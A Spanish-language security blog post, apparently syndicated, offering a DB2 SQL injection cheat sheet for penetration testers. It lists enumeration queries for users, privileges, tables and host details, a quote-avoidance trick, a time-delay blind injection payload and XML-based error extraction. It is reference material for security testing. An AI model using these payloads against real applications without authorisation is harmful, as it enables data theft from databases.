Quantcast
Channel: Security et alii » db2
Viewing all articles
Browse latest Browse all 2

DB2 SQL injection cheat sheet

0
0

Note: There is an English version of this post here.

Estoy seguro de que todos nosotros (pentesters) usamos bastante los cheat sheets sobre inyección SQL de pentestmonkey. Se han convertido en una referencia cuando se trata de realizar inyecciones SQL, y hay que decir que la mayor parte de las veces solucionan el problema. Sin embargo, los cheat sheets de DB2 son de los menos completos de la web. Quizá porque no es un motor de bases de datos muy extendido, además the ser bastante complejo. Tanto en el trabajo anterior como en este he tenido la ¿suerte? de toparme con muchos sistemas ejecutando DB2, de ahí que la información que faltaba fuera un tanto molesta.

A continuación tenéis una tabla con un cheat sheet actualizado para inyecciones SQL en DB2, basado en el de pentestmonkey. Los campos actualizados o modificados o simplemente de nueva creación, están marcados con un asterisco (*). Todas estas consultas han sido probadas en un Win32+DB2 v10.1.0, aunque he tenido la oportunidad de probar algunas en Z/OS+DB2 v9.x and v8.x y la mayoría funcionan bien. Tened en cuenta que no soy un experto en DB2, por lo que si encontráis errores, o información inexacta, o si conocéis otros trucos, sentíos libres de contactarme. Por último, he subido unos dumps de privilegios por defecto, tablas con acceso para PUBLIC y otra información interesante sobre DB2.

Versión*
select service_level from table(sysproc.env_get_inst_info()) as instanceinfo
select getvariable(‘sysibm.version’) from sysibm.sysdummy1 — (v8+)
select prod_release,installed_prod_fullname from table(sysproc.env_get_prod_info()) as productinfo
select service_level,bld_level from sysibmadm.env_inst_info
Comentarios select blah from foo — se comenta así (doble guión)
Usuario Actual
select user from sysibm.sysdummy1
select session_user from sysibm.sysdummy1
select system_user from sysibm.sysdummy1
Listar Usuarios*
DB2 usa cuentas del SO. Las que tienen acceso a DB2 pueden obtenerse así:
select distinct(authid) from sysibmadm.privileges — necesita privilegios
select grantee from syscat.dbauth — resultados incompletos
select distinct(definer) from syscat.schemata — más exacta
select distinct(grantee) from sysibm.systabauth — igual que la anterior
Listar Hashes de Contraseñas N/A (Usuarios del SO)
Listar Privilegios
select * from syscat.tabauth — muestra los privilegios sobre tablas
select * from syscat.tabauth where grantee = current user — shows privs for current user
Listar cuentas DBA (Admin)* select distinct(grantee) from sysibm.systabauth where CONTROLAUTH=’Y’
Base de datos Actual select current server from sysibm.sysdummy1
Listar Bases de datos* select distinct(table_catalog) from sysibm.tables
Listar Columnas* select name, tbname, coltype from sysibm.syscolumns — also valid syscat and sysstat
Listar Tablas
select table_name from sysibm.tables
select name from sysibm.systables
Encontrar Tablas a partir de nombre de Columna select tbname from sysibm.syscolumns where name=’username’
Seleccionar la N-esima fila* select name from (select * from sysibm.systables order by name asc fetch first N rows only) order by name desc fetch first row only
Seleccionar el N-esimo Caracter select substr(‘abc’,2,1) FROM sysibm.sysdummy1 — returns b
Operadores binarios AND/OR/NOT/XOR* select bitand(1,0) from sysibm.sysdummy1 — devuelve 0. También disponibles bitandnot, bitor, bitxor, bitnot
Código ASCII -> Char select chr(65) from sysibm.sysdummy1 — devuelve ‘A’
Char -> Código ASCII select ascii(‘A’) from sysibm.sysdummy1 — devuelve 65
Conversión
select cast(‘123’ as integer) from sysibm.sysdummy1
select cast(1 as char) from sysibm.sysdummy1
Concatenar Cadenas
select ‘a’ concat ‘b’ concat ‘c’ from sysibm.sysdummy1 — devuelve ‘abc’
select ‘a’ || ‘b’ from sysibm.sysdummy1 — devuelve ‘ab’
Sentencia IF* Parece que sólo se permite en procedimientos almacenados. Utilizar CASE en su lugar.
Case Statement* select CASE WHEN (1=1) THEN ‘AAAAAAAAAA’ ELSE ‘BBBBBBBBBB’ END from sysibm.sysdummy1
Evitar Comillas* SELECT chr(65)||chr(68)||chr(82)||chr(73) FROM sysibm.sysdummy1 — devuelve “ADRI”. Funciona sin el select también.
Time Delay*
Consultas pesadas, por ejemplo:
‘ and (SELECT count(*) from sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (select ascii(substr(user,1,1)) from sysibm.sysdummy1)=68 — Si el nombre de usuario empieza con el ascii 68 (‘D’), la consulta pesada se ejecutará, retrasando la respuesta. Sin embargo, si el usuario no empieza por el ascii 68, la consulta no se ejecutará y la respuesta será más rápida.
Serializar a XML (para extracción por errores)*
select xmlagg(xmlrow(table_schema)) from sysibm.tables — devuelve todo en una sola cadena formateada en XML (v9 y v10)
select xmlagg(xmlrow(table_schema)) from (select distinct(table_schema) from sysibm.tables) — Igual pero sin elementos repetidos. (v9 y v10)
select xml2clob(xmelement(name t, table_schema)) from sysibm.tables — devuelve todo en una sola cadena formateada en XML (v8). Quizá necesite CAST(xml2clob(… AS varchar(500)) para ver el resultado.
Hacer Peticiones DNS N/A
Ejecución de Comandos Parece que sólo está permitido desde procedimientos almacenados o funciones de usuario (UDFs).
Local File Access Creo que esto sólo está disponible a través de procedimientos almacenados o el comando db2
Hostname/IP e Info del OS* select os_name,os_version,os_release,host_name from sysibmadm.env_sys_info — requiere privilegios
Localización de los ficheros de la BD* select * from sysibmadm.reg_variables where reg_var_name=’DB2PATH’ — require privilegios
Config. del Sistema*
select dbpartitionnum, name, value from sysibmadm.dbcfg where name like ‘auto_%’ — Require privilegios. Devuelve todos los parámetros de configuración de la base de datos almacenados en memoria para todas las particiones de la DB.
select name, deferred_value, dbpartitionnum from sysibmadm.dbcfg — Require privilegios. Devuelve todos los valores de configuración de la base de datos almacenados en disco para todas las particiones de la DB.
BBDD por defecto* Lo que tiene sentido para DB2 es conocer esquemas por defecto (y quizá tablas):
SYSIBM/SYSCAT/SYSSTAT/SYSPUBLIC/SYSIBMADM/SYSTOOLS


Viewing all articles
Browse latest Browse all 2

Latest Images

Trending Articles





Latest Images